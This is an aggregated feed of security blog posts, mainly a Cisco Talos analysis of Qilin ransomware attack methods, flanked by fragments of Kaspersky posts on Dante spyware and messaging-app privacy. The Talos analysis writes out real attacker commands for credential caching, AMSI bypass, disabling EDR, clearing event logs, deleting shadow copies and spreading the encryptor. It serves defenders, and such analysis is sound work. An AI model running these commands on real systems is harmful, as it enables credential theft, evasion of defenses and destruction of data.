        After the initial publication, GReAT experts continued to investigate ForumTroll’s activity. In particular, they found several more attacks by the same group on organizations and individuals in both Russia and Belarus. In addition, while searching for attacks that used LeetAgent, they discovered cases of other, much more sophisticated malware being used.

        What is Dante and what does HackingTeam have to do with it?

        The malware found had a modular structure, used module encryption with keys unique to each victim, and self-destructed after a certain period of time if no commands from the control server were received. But most interesting of all, our researchers managed to identify it as commercial spyware called Dante, developed by the Italian company Memento Labs – formerly known as Hacking Team.

        HackingTeam was one of the pioneers of commercial spyware. But in 2015, the company’s own infrastructure was hacked and a significant portion of its internal documentation – including the source code for its commercial spyware – was published online. After that, the company was sold and renamed Memento Labs.

        You can read more about what Dante malware can do, and how our experts figured out that it was indeed Dante in the Securelist blogpost. You can also find the corresponding indicators of compromise there.

        How to stay safe

        Initially, attacks using LeetAgent were detected using our XDR solution. In addition, details of this research, as well as information about the ForumTroll group and the Dante spyware that we’ll learn in the future, will be available to subscribers of our APT threat data service on the Threat Intelligence Portal.

        Kaspersky official blog – ​Read More

        Uncovering Qilin attack methods exposed through multiple cases

        • In the second half of 2025, the ransomware group Qilin has continued to publish victim information on its leak site at a pace of more than 40 cases per month, making it one of the most impactful ransomware groups worldwide. The manufacturing sector has been the most affected, followed by professional and scientific services, and wholesale trade.
        • Although this could be a false flag, some of the scripts used by the attacker contained character encodings that point to Eastern Europe or a Russian-speaking region.
        • Talos identified an open-source tool named Cyberduck, which enables file transfers to cloud servers, among the tools used for data exfiltration. In recent trends, Cyberduck has been widely abused in cases involving Qilin ransomware. Artifact logs also show the use of notepad.exe and mspaint.exe, which were leveraged to view high-sensitivity information.
        • In Qilin cases, we observed dual deployments: encryptor_1.exe spreads via PsExec across hosts, while encryptor_2.exe runs from one system to encrypt multiple network shares.

        Summary of Qilin Ransomware

        Uncovering Qilin attack methods exposed through multiple cases

        The Qilin (formerly Agenda) ransomware group has been active since around July 2022. This group employs a double-extortion strategy, combining file encryption with the public disclosure of stolen information. Figure 1 illustrates the leak site used by the attackers to publish lists of compromised companies.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 1. Qilin ransomware leak site.

        Over the past several years, Qilin has expanded its operations and now ranks among the most prolific and damaging ransomware threats on a global scale. The group adopts a Ransomware-as-a-Service (RaaS) business model, where it develops and distributes ransomware platforms and associated tools to affiliates. In turn, these affiliates attack organizations worldwide.

        Victimology and prevalence 

        Current reporting indicates that the countries most severely affected include the United States, followed by Canada, the United Kingdom, France, and Germany.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 2. Countries affected by Qilin ransomware.Figure 2. Countries affected by Qilin ransomware.

        Figure 3 illustrates the number of victims whose information was posted on Qilin ransomware leak site.

        The data shows that the number of postings reached a peak of 100 cases in June 2025, with a nearly equivalent figure recorded again in August. Although the number of victims fluctuates from month to month, it is noteworthy that, except for January, every month recorded more than 40 cases. These findings indicate that Qilin continues to pose a persistent and significant threat.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 3. Number of victims listed on Qilin ransomware leak site.

        The most heavily affected sector is manufacturing, which accounts for approximately 23% of all reported cases, significantly outpacing other industries. The second most impacted sector is professional and scientific services, representing around 18%. Wholesale trade ranks third, with about 10% of cases.

        In the mid-range, several key sectors that form part of social infrastructure-healthcare, construction, retail, education, and finance-each report similar levels of impact, averaging around 5%.

        At the lower end, sectors such as services and primary industries show relatively fewer incidents, remaining below 2% on average.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 4. Sectors experiencing damage/impact.

        Qilin ransomware attack flow

        In 2025, Cisco Talos responded to multiple incidents related to Qilin ransomware. The overall attack flow is illustrated in Figure 5, and subsequent sections provide a detailed description of the tactics, techniques, and procedures (TTPs) observed in each phase.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 5. TTPs from VPN compromise to execution of Qilin ransomware.

        Latest Qilin TTPs

        Initial access

        Talos was unable to definitively identify a single, confirmed initial intrusion vector. However, in some cases, we assess with moderate confidence that attackers abused administrative credentials leaked on the dark web to gain VPN access, and may have also used Group Policy (AD GPO) changes enabling RDP to reach victim networks.

        In the incident illustrated in Figure 6, Talos confirmed that credentials had been exposed on the dark web. Approximately two weeks later, numerous NTLM authentication attempts were made against the VPN, possibly using the leaked credentials. The resulted in a successful intrusion. From the compromised VPN, the attackers performed RDP connections to the domain controller and the initially breached host. While the activity is temporally correlated with the previously observed credential exposure, there is insufficient evidence to establish a definitive causal link between the two events.

        Notably, the VPN implicated in this case had no multi-factor authentication (MFA) configured, which would allow an attacker with credentials unfettered access.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 6. Example case of initial intrusion via VPN.

        Reconnaissance and discovery

        After gaining access to the victim’s network, the threat actor executed nltest.exe and net.exe to enumerate domain controllers and collect domain user information.

        nltest /dclist:<Domain>
        net user <Username> /domain

        In addition, traces indicate that the adversary attempted to assess user privilege levels through execution of the whoami command, enumerated active processes such as explorer.exe via the tasklist command, and utilized the netscan tool for further reconnaissance.

        C:WINDOWSsystem32whoami.exe /priv
        tasklist /FI "IMAGENAME eq explorer.exe" /FO CSV /NH

        As described in the “Qilin Ransomware” section below, execution of the ransomware also resulted in enumeration of hostnames, domain users, groups, and privileges.

        Credential access and exfiltration

        In the cases Talos examined, we identified a password-protected folder containing a collection of tools, apparently intended for credential theft. Although the archive prevented full inspection of every file, its contents suggest use of mimikatz, several password recovery utilities published by NirSoft, and custom script files.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 7. Contents of the folder containing tools for credential harvesting.

        The “!light.bat batch” file includes a reg add command that modifies the WDigest registry setting. By setting “UseLogonCredential” to 1, Windows is configured to retain plaintext logon credentials in memory at authentication, a behavior that can be exploited by credential-dumping tools such as Mimikatz to extract user passwords.

        reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /f /d 1

        After executing the reg add command, the batch file sequentially invoked netpass.exe, WebBrowserPassView.exe, BypassCredGuard.exe, SharpDecryptPwd, and ultimately Mimikatz. Within the script (see Figure 8), SharpDecryptPwd is configured to extract, redirect, and persist stored authentication data from multiple client applications — including WinSCP, Navicat, Xmanager, TeamViewer, FileZilla, Foxmail, TortoiseSVN, Google Chrome, RDCMan, and SunLogin, thereby consolidating harvested credentials for subsequent use or exfiltration.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 8. Credential collection from applications using SharpDecryptPwd.

        Following the execution of SharpDecryptPwd, !light.bat launched Mimikatz. (Figure 9).

        Commands executed via Mimikatz targeted a range of sensitive data and system functions, including clearing Windows event logs, enabling SeDebugPrivilege, extracting saved passwords from Chrome’s SQLite database, recovering credentials from previous logons, and harvesting credentials and configuration data related to RDP, SSH, and Citrix.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 9. Credential harvesting via Mimikatz.

        pars.vbs formatted and consolidated the stolen data into a “result.txt” file, which was subsequently exfiltrated to an attacker-controlled SMTP server (Figure 10). The script specifies the windows-1251 character encoding (Cyrillic), which may suggest the attacker or operator is from Eastern Europe or a Russian-speaking region.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 10. pars.vbs code sending stolen data to an external SMTP server.

        Artifacts of exfiltration

        Once collected, WinRAR packaged the targeted data, and in some cases the archives were exfiltrated using open-source software. Below are the actual arguments used to run WinRAR.exe. The WinRAR command is configured to exclude the base folder and to create the archive without recursively processing subdirectories.

        C:Program FilesWinRARWinRAR.exe a -ep1 -scul -r0 -iext -imon1 --.  Specify the target files and directories

        Furthermore, Talos found that the attackers used mspaint.exe, notepad.exe, and iexplore.exe to open and inspect files while searching through numerous files for sensitive information.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 11. Selection of information stolen by the attacker.

        In recent trends, the open-source software Cyberduck — which enables file transfers to cloud servers — has been widely abused in cases involving Qilin ransomware. By abusing legitimate cloud-based services for exfiltration, the attacker can obfuscate their activities within trusted domains and legitimate web traffic. As shown in Figure 12, the Cyberduck history file indicates that a Backblaze host was specified as the destination and that a custom setting for split/multipart uploads was enabled to transfer large files.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 12. Excerpt of Cyberduck history file.

        Privilege escalation and lateral movement

        Using the stolen credentials described above, threat actor proceeds with privilege escalation and lateral movement. Talos has observed compromised accounts accessing multiple IP addresses and their network shares, as well as numerous NTLM authentication attempts against many VPN accounts , possibly using the leaked credentials. Additionally, to enable remote access they modify firewall settings, execute commands to change RDP settings via the registry, and perform related activities such as using rdpclip.exe and similar mechanisms.

        reg add HKLMSYSTEMCurrentControlSetControlTerminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

        The following command adds a specific account designated by the attacker to the local administrators group. This grants them full control over the system.

        C:Windowssystem32net1 localgroup administrators  /add

        They also run a command to create a network share named “c” that exposes the entire C: drive and assigns Full Control to the Everyone group, allowing unrestricted access and modification.

        net share c=c: /grant : everyone,full

        • T1219: Remote Access Software

        The attacker installed software that was different from the legitimately used Remote Monitoring and Management (RMM) tools; this occurred before the ransomware was executed. While Talos cannot definitively conclude that the installed RMM was used for lateral movement, traces of multiple RMM tools were observed, including AnyDesk, Chrome Remote Desktop, Distant Desktop, GoToDesk, QuickAssist, and ScreenConnect. Figure 13 shows an excerpt of an actual ScreenConnect connection log, which indicates that ScreenConnect established a connection to the command and control(C2) server on port 8880.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 13. ScreenConnect installation and connections to attacker server (excerpt).

        Defense evasion

        • Obfuscated Powershell

        Figure 14 and Figure 15 show two patterns of obfuscated PowerShell code, encoded using numeric encoding, intended to evade detection

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 14. Obfuscated PowerShell Cmd No. 1.
        Uncovering Qilin attack methods exposed through multiple cases
        Figure 15. Obfuscated PowerShell Cmd No. 2.

        Below is the decoded output of the above code.

        [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
        try{
        [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
        }catch{}
        reg add HKLMSYSTEMCurrentControlSetControlLsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
        

        Executing these commands makes three configuration changes. First, disabling AMSI prevents interference with execution of payloads such as batch files and malware. Second, disabling TLS certificate validation removes barriers to contacting malicious domains or C2 servers. Finally, enabling Restricted Admin causes RDP authentication to rely on NT hashes or Kerberos tickets rather than passwords. Although passwords are not retained, NT hashes remain on the system and can be abused by an attacker to impersonate the user.

        1. Disable AMSI
        2. Disable TLS certificate validation
        3. Enable Restricted Admin

        Disable EDR

        Talos observed traces of attempts to disable EDR using multiple methods. Broadly speaking, we have frequently observed commands that directly execute the EDR’s “uninstall.exe” or attempt to stop services using the sc command. At the same time, attackers have also been observed running open-source tools such as dark-kill and HRSword. The commands below are traces of dark-kill usage. Instead of running in normal user mode, dark.sys is specified as a driver loaded into the Windows kernel and the service is started under the name dark. The traces also show that, as needed, attackers re-register a driver from a different path and finally remove the service to erase their tracks.

        sc create dark type= kernel binPath=dark.sys
        sc start dark
        sc create dark type= kernel binPath=C:Users<user>DownloadsDarkKillDebugdark.sys
        sc delete dark

        Additionally, to execute “HRSword.exe”, attackers attempt to run a batch file with administrator privileges by using VBScript via mshta, specifying the runas option in ShellExecute. Because logs show that a shortcut file HRSword.lnk was created after 1. bat was executed, it is possible that HRSword.exe is being launched via that .lnk file.

        mshta vbscript:CreateObject(Shell.Application).ShellExecute(cmd.exe,/c C:UsersxxxxxHRSwordHRSWOR~1.BAT ::,,runas,1)

        Impact and inhibit recovery

        Before Qilin ransomware is executed, Talos has observed cases in which remote access tools such as Cobalt Strike loader and SystemBC are run. Cobalt Strike was discovered on the compromised host earlier, but it is not clear whether Cobalt Strike installed SystemBC.

        Cobalt Strike Loader

        The Cobalt Strike loader Talos examined decrypts the encrypted payload contained in the .bss section of the binary shown in Figure 16, then deploys and executes the Cobalt Strike Beacon in memory.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 16. The encrypted payload contained in the .bss section.

        The embedded encrypted payload is executed in memory following the flow shown in Figure 17. The CreateThreadpoolWait and SetThreadpoolWait APIs are Windows thread-pool APIs. Unlike the commonly used CreateThread API (which immediately creates a new thread and begins executing code at a specified address), they wait for events or object state changes and then automatically run worker callbacks.

        In this code, the decrypted_buf is registered as the callback function via the arguments to CreateThreadpoolWait, creating a mechanism that will invoke this callback when the wait object becomes signaled. After that, execute permission is granted with VirtualProtect, and a MessageBoxA (shown in the figure and intended for anti-sandbox purposes) prompts for user interaction. When the user clicks OK, SetThreadpoolWait is called. Because EventA was created with an initial signaled state (bInitialState = 1), the decrypted code already mapped into memory runs immediately.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 17. The main process of the Cobalt Strike loader.
        Uncovering Qilin attack methods exposed through multiple cases
        Figure 18. Anti-sandboxing using MessageBoxA API.

        For decryption, a custom routine based on RC4 is implemented: the first 2,048 bytes are fully decrypted, and thereafter decryption is performed in 32-byte units in which only the first 24 bytes are decrypted. The remaining 8 bytes stay encrypted, so this behavior differs from standard RC4.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 19. The process of Custom RC4

        Cobalt Strike Beacon

        The Cobalt Strike Beacon deployed in memory is configured (from its config) as Cobalt Strike version 4.x, with Malleable C2 used to spoof HTTP headers. In this configuration the http_get_header and http_post_header include “Host: ocsp.verisign.com”, effectively separating the visible host header from the actual destination to make the traffic appear as OCSP or certificate distribution traffic. Communication is set to use HTTPS over TCP port 443 to the Team Server (C2).

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 20. Output of the Cobalt Strike config parser from 1768.py (excerpt)

        Qilin Ransomware

        In several cases, a variant of Qilin ransomware, known as “Qilin.B”, was used.

        This section describes its behavior. For more information, please refer to Halcyon’s analysis article published in October 2024.

        Execution method

        Attackers sometimes run only a single encryptor, but Talos has also observed cases where two encryptor are deployed. In cases where two encryptor are executed, the first, encryptor_1.exe, was distributed across the environment using PsExec (see the command below). This command copies the local <encryptor_1>.exe to the remote \IP address, elevates it to run with administrative privileges, and then launches it. The other, “encryptor_2.exe”, is executed from a single system and targets multiple network shares.

        cmd /C [PsExec] -accepteula \IP Address -c -f -h -d -i
        C:Usersxxx<encryptor_1>.exe --password [PASSWORD] --spread --spread-process

        PowerShell command executed

        A PowerShell command is being executed to efficiently retrieve the hostnames of all computers from Active Directory (AD).

        powershell -Command Import-Module ActiveDirectory ; Get-ADComputer -Filter * | Select-Object -ExpandProperty DNSHostName

        Another PowerShell command observed is one that installs the Remote Server Administration Tools for AD (the RSAT-AD-PowerShell module). It runs PowerShell cmdlets related to Active Directory Domain Services (AD DS) and Active Directory Lightweight Directory Services (AD LDS). This enables enumeration of domain users, groups, and privileges.

        Powershell -Command ServerManagerCmd.exe -i RSAT-AD-PowerShell ; Install-WindowsFeature RSAT-AD-PowerShell ; Add-WindowsCapability -Online -Name 'RSAT.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0' 

        Next, the command Get-WinEvent -ListLog * is used to enumerate all event logs on the system. Logs that contain records (where RecordCount is not 0) are filtered, and the .NET EventLogSession.GlobalSession.ClearLog() method is called to wipe them entirely.

        powershell $logs = Get-WinEvent -ListLog * | Where-Object {$_.RecordCount} | Select-Object -ExpandProperty LogName ; ForEach ( $l in  $logs | Sort | Get-Unique ) {[System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($l)}

        Finally, the PowerShell script targeting hosts in virtualized environments is hard-coded.

        As part of its PowerShell operation, it establishes a connection to the vCenter server, enumerates all datacenters and clusters within the vCenter environment, and disables HA and DRS in cluster configurations. (see Figure 21)

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 21. Disable-ClusterServices Function

        It then enumerates all ESXi hosts, changes the root password, and enables SSH access. Finally, it uploads an arbitrary binary to the “/tmp” directory and executes it across all identified hosts. It makes the binary executable with “chmod +x”, sets “/User/execInstalledOnly” to 0 via the $esxiRights command (thereby allowing execution of unsigned binaries) , and then executes the payload on all hosts using the Process-ESXis function.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure22 Process-ESXi Function and Process-ESXis Function (excerpt)

        For lateral movement

        To broaden the scope of file access and increase the impact when ransomware is executed, the fsutil command is also run. This command performs operations on symbolic links; R2R means Remote to Remote (a network share to another network share), and R2L means Remote to Local (a network share to local). By executing these two commands and enabling each respectively, attackers can achieve different effects. for example, in R2R, a symbolic link on server A can be used to reference files on another server B; in R2L, if a shared symbolic link on server A points to a file on the host, an attacker can access the host’s local file through that link. These commands may be executed using PsExec.

        cmd /C net use
        cmd /C fsutil behavior set SymlinkEvaluation R2R:1
        cmd /C fsutil behavior set SymlinkEvaluation R2L:1
        

        Delete backup

        The ransomware changes the Volume Shadow Copy Service (VSS) startup type to Manual, and delete all shadow copies (volume snapshots) maintained by VSS.

        cmd /C net start vss
        cmd /C wmic service where name='vss' call ChangeStartMode Manual
        cmd /C vssadmin.exe Delete Shadows /all /quiet
        cmd /C net stop vss
        cmd /C wmic service where name='vss' call ChangeStartMode Disabled
        

        Ransom note

        The ransom note shown in Figure 23 is created in each encrypted folder. The note primarily states that data has been compromised, includes a link to a leak site on a .onion address that requires a Tor connection, and provides a URL (specified by IP address) that can be accessed without Tor for victims who do not have a Tor environment. It also lists the types of data included and warnings about the consequences of ignoring the demands.

        In addition, the ‘Credential’ section states that a unique company ID is assigned as a file extension for each victim company, and that by using the domain URL shown in the note one can access the site with that unique login ID and password.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 23. Excerpt of Qilin ransom note.

        Config

        The config for Qilin Ransomware includes file-encryption settings, service and process stop lists, and a list of entity-specific accounts. There are eight items, four of which are as follows:

        • “extension_black_list” contains file extensions that will not be encrypted.
        • “extension_white_list” specifies the extensions that this ransomware will explicitly encrypt.
        • “filename_black_list” lists filenames that will not be encrypted.
        • “directory_black_list” lists directories that will not be encrypted.

        We also observed two lists named “white_symlink_dirs” and “white_symlink_subdirs”. In the Qilin ransomware sample we analyzed, white_symlink_dirs is empty, and only thing white_symlink_subdirs contains is the entry “ClusterStorage”.

        ClusterStorage refers to the directory name used by Windows Server Failover Cluster (Cluster Shared Volumes, or CSV). CSVs commonly host highly critical files for organizations such as Hyper-V virtual machines (VHDX) and databases. This shows the ransomware is intended to increase impact by targeting not only ordinary user directories but also virtualization and cluster infrastructure directly as hostages. Therefore, files in subdirectories of ClusterStorage are explicitly listed as targets to be encrypted. The fact that white_symlink_dirs is empty is likely intended to avoid following symbolic links that could cause infinite loops or double-encryption.

        “process_black_list” and “win_services_black_list” specify processes and services to terminate, including those related to databases, backups, security, and remote management. Notably, as shown in Figure 24, this config also had victim-environment-specific domain, username and password hardcoded. This indicates that the attackers preloaded reconnaissance information into the ransomware to facilitate privilege escalation and related activities.

        extension_black_list

        ["themepack", "nls", "diapkg", "msi", "lnk", "exe", "scr", "bat", "drv", "rtp", "msp", "prf", "msc", "ico", "key", "ocx", "diagcab", "diagcfg", "pdb", "wpx", "hlp", "icns", "rom", "dll", 
        "msstyles", "mod", "ps1", "ics", "hta", "bin", "cmd", "ani", "386", "lock", "cur", "idx", "sys", "com", "deskthemepack", "shs", "theme", "mpa", "nomedia", "spl", "cpl", "adv", "icl", "msu", "company_id"]
        

        extension_white_list

        ["mdf", "ldf", "bak", "vib", "vbk", "vbm", "vrb", "vmdk", "abk", "bkz", "sqb", "trn", "backup", "bkup", "old", "tibx", "pfi", "pvhd", "pbf", "dim", "gho", "vpcbackup", "arc", "mtf", "bkf", "dr"]

        filename_black_list

        ["desktop.ini", "autorun.ini", "ntldr", "bootsect.bak", "thumbs.db", "boot.ini", "ntuser.dat", "iconcache.db", "bootfont.bin", "ntuser.ini", "ntuser.dat.log", "autorun.inf", "bootmgr", "bootmgr.efi", "bootmgfw.efi", "#recycle", "autorun.inf", "boot.ini", "bootfont.bin", "bootmgr", "bootmgr.efi", "bootmgfw.efi", "desktop.ini", "iconcache.db", "ntldr", "ntuser.dat", "ntuser.dat.log", "ntuser.ini", "thumbs.db", "#recycle", "bootsect.bak"]

        directory_black_list

        ["windows", "system volume information", "intel", "admin$", "ipc$", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "program files (x86)", "program files", "$windows.~bt", "msocache", "tor browser", "programdata", "boot", "config.msi", "google", "perflogs", "appdata", "windows.old", "appdata", "..", ".", "boot", "windows", "windows.old", "$recycle.bin", "admin$"]

        white_symlink_subdirs

        ["ClusterStorage"]

        process_black_list

        ["vmms", "vmwp", "vmcompute", "agntsvc", "dbeng50", "dbsnmp", "encsvc", "excel", "firefox", "infopath", "isqlplussvc", "sql", "msaccess", "mspub", "mydesktopqos", "mydesktopservice", "notepad", "ocautoupds", "ocomm", "ocssd", "onenote", "oracle", "outlook", "powerpnt", "sqbcoreservice", "steam", "synctime", "tbirdconfig", "thebat", "thunderbird", "visio", "winword", "wordpad", "xfssvccon", "bedbh", "vxmon", "benetns", "bengien", "pvlsvr", "beserver", "raw_agent_svc", "vsnapvss", "cagservice", "qbidpservice", "qbdbmgrn", "qbcfmonitorservice", "sap", "teamviewer_service", "teamviewer", "tv_w32", "tv_x64", "cvmountd", "cvd", "cvfwd", "cvods", "saphostexec", "saposcol", "sapstartsrv", "avagent", "avscc", "dellsystemdetect", "enterpriseclient", "veeamnfssvc", "veeamtransportsvc", "veeamdeploymentsvc", "mvdesktopservice"]

        win_services_black_list

        ["vmms", "mepocs", "memtas", "veeam", "backup", "vss", "sql", "msexchange", "sophos", "msexchange", "msexchange\$", "wsbexchange", "pdvfsservice", "backupexecvssprovider", "backupexecagentaccelerator", "backupexecagentbrowser", "backupexecdivecimediaservice", "backupexecjobengine", "backupexecmanagementservice", "backupexecrpcservice", "gxblr", "gxvss", "gxclmgrs", "gxcvd", "gxcimgr", "gxmmm", "gxvsshwprov", "gxfwd", "sapservice", "sap", "sap\$", "sapd\$", "saphostcontrol", "saphostexec", "qbcfmonitorservice", "qbdbmgrn", "qbidpservice", "acronisagent", "veeamnfssvc", "veeamdeploymentservice", "veeamtransportsvc", "mvarmor", "mvarmor64", "vsnapvss", "acrsch2svc", "(.*?)sql(.*?)"]

        Accounts

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 24. Hardcoded victim-environment-specific domain, username and password.

        Generating execution logs

        When running, it creates a QLOG folder in %TEMP% and multiple ThreadId({Number}).LOG files. They allow the attacker to inspect detailed logs of the encryption process.

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 25. Contents of ThreadId({Number}).LOG (excerpt).

        Change wallpaper setting

        The ransomware creates a JPG image under %TEMP% to be used as the wallpaper, and modifies the following registry values.

        HKEY_CURRENT_USERControl PanelDesktopWallpaper
        (Example)
        Value: C:%TEMP%ElSDJGep.jpg
        

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 26. The wallpaper changed by the ransomware.

        Persistence

        After ransomware execution, the attacker achieves persistence through both task scheduling and registry modification. First, a scheduled task is created with the name “TVInstallRestore”, configured to run at logon using the /SC ONLOGON argument. To disguise itself as a legitimate tool, the ransomware file is named “TeamViewer_Host_Setup – <encryptor_2>.exe”, leveraging the TeamViewer brand (which had been installed as an RMM tool prior to compromise). Second, to ensure the ransomware executes upon every reboot, its executable is added as a value under the RUN registry key.

        This combination of scheduled tasks and registry entries allows the ransomware to maintain persistence across system restarts and user logons.

        C:WINDOWSsystem32schtasks /Create /TN TVInstallRestore /TR "C:-INSTALLERSTeamViewer_Host_Setup - <encryptor_2>.exe /RESTORE" /RU SYSTEM /SC ONLOGON /F

        HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
        Key
        *random-alphabet in lowercase letters
        Key Value
        C:UsersAdministratorDesktop<encryptor_2>.exe --password [PASSWORD]--no-admin;

        Appendix

        Uncovering Qilin attack methods exposed through multiple cases
        Figure 27. Summary of post-compromise TTPs/tool-usage workflow across multiple cases.

        MITRE ATT&CK TTPs

        Tactic Technique / ID
        Initial Access Valid Accounts — T1078
        Initial Access External Remote Services — T1133
        Credential Access Brute Force / Password Spraying — T1110 / T1110.003
        Credential Access Credential Dumping — T1003
        Discovery / Initial Access Domain Trust Discovery — T1482
        Discovery Remote System Discovery — T1018
        Discovery Account Discovery — Domain Accounts (T1087.002)
        Discovery System Owner/User Discovery — T1033
        Discovery Process Discovery — T1057
        Discovery / Permissions File and Directory Permissions Modification — T1222 (Windows: T1222.001)
        Discovery / Network Network Service Discovery / Network Service Scanning — T1046 / T1018
        Discovery / System Information System Information Discovery — T1082
        Discovery / Execution Command and Scripting Interpreter — PowerShell — T1059.001 / T1086
        Exfiltration Exfiltration Over C2 Channel — T1048
        Exfiltration Transfer Data to Cloud Account — T1537
        Lateral Movement / Privilege Escalation / Defense Evasion Domain or Tenant Policy Modification — Group Policy Modification (T1484.001)
        Lateral Movement Remote Desktop Protocol (RDP) — T1021.001
        Lateral Movement SMB/Windows Admin Shares — T1021.002
        Resource / Ingress Ingress Tool Transfer — T1105
        Defense Evasion / Impair Defenses Disable or Modify Tools — T1562.001 (Impair Defenses)
        Defense Evasion Clear Windows Event Logs — T1070.001
        Impact / Inhibit Recovery Inhibit System Recovery — T1490
        Impact / Defense Evasion Service Stop — T1489
        Impact Command and Control — TA0011
        Impact Data Encrypted for Impact — T1486
        Persistence / Registry Modify Registry — T1112 (Modify Registry)
        Persistence Scheduled Task/Job — T1053
        Persistence / Boot or Logon Autostart Registry Run Keys / Startup Folder — T1547.001

        Coverage

        Uncovering Qilin attack methods exposed through multiple cases

        Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

        Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here

        Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

        Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. 

        Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

        Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles.  Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work. Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access. 

        Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.  

        Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

        Additional protections with context to your specific environment and threat data are available from the Firewall Management Center

        Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.  

        Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

        Snort SIDs for the threats are: 65446

        ClamAV detections are also available for this threat:

        • Win.Ransomware.Qilin-10044197-0
        • Win.Trojan.Systembc-10058229-0
        • Win.Loader.CobaltStrike-10058228-0
        • Win.Dropper.Mimikatz-9778171-1

        Indicators of compromise (IOCs)

        The IOCs can also be found in our GitHub repository here.

        Cisco Talos Blog – ​Read More

        Privacy rankings of popular messaging apps in 2025 | Kaspersky official blog

        Although direct messages sent through a chat app are often perceived as a private conversation, it’s actually not that simple. Not only can your chats and data be used for advertising and AI training, but they can be shared with law enforcement and intelligence agencies. Furthermore, perfect strangers, or scammers — pretending to be your boss, for example — might reach out to you directly. Then again, attackers can use social engineering techniques to gain access to your account and read all of your chats in real-time.

        Which services minimize the chance of these unwelcome events? That’s the question experts at the company Incogni set out to answer. They decided to compare popular social networks and messaging apps, and ranked them as per privacy levels from highest to lowest. The result is the Social Media Privacy Ranking 2025. This was an extensive study covering 15 social networks and chat apps, and comparing them across 18 criteria. Today, we focus on the scores for messaging apps and direct communication platforms — selecting only the most practical evaluation criteria. So, which of the common messaging apps are the most privacy-oriented?

        Overall privacy rankings

        We’ll start with Incogni’s final conclusions. After summing up all their scores across the criteria, they produced the following privacy rankings (lower is better):

        1. Discord: 10.23
        2. Telegram: 13.08
        3. Snapchat: 13.39
        4. Facebook Messenger: 22.22
        5. WhatsApp: 23.17

        But don’t rush to migrate all your chats from WhatsApp to Discord just yet — comparing only the criteria that matter most reveals a different picture. Incogni’s comprehensive study included some very peculiar points, such as the number of fines for data retention violations across all countries, the number of past hacks and data breaches, the readability of the privacy policy, the time it takes to have your data deleted after an account closure request, and so on.

        However, there are also highly practical criteria: the types of data collected by the mobile app, the privacy level by default, the amount of user data visible to non-contacts, the use of user data for AI training, and the option to opt out of this. For those concerned about excessive government interference in private correspondence, the score for the response rates to government requests for user information will also be of interest. If we add up the scores from only these practical categories, the rankings shift significantly:

        1. Telegram: 4.23
        2. Snapchat: 7.72
        3. Discord: 8.14
        4. WhatsApp: 11.93
        5. Facebook Messenger: 13.37

        Incogni penalized WhatsApp  3.4 points for the fact that chats may be used for AI training, and users can’t opt out. However, there’s one important caveat: as of today, this only applies to user chats with Meta’s AI assistant, while other chats are still protected by end-to-end encryption, and can’t be used for training. Therefore, in our view, a more accurate score for WhatsApp would be 8.53; this doesn’t change its position, but significantly narrows the gap between it and the leading trio.

        Let’s move past the numbers now, and review the practically significant findings of the analysis.

        Private by default

        An app focused on user interests sets all security and privacy settings to safe and private upon installation. The user can then lower the level of privacy where they choose to. Telegram and Snapchat exhibit this commendable behavior. Discord’s default settings are less private, while Facebook Messenger and WhatsApp are down at the bottom of the rankings. A similar situation is found with the number of privacy settings — Telegram and Snapchat offer the most.

        We’ve published detailed guides on setting up privacy in Telegram, WhatsApp, and Discord, and you can find privacy configuration tips for many other popular apps, devices, and operating systems on our free Privacy Checker portal.

        Secure against strangers

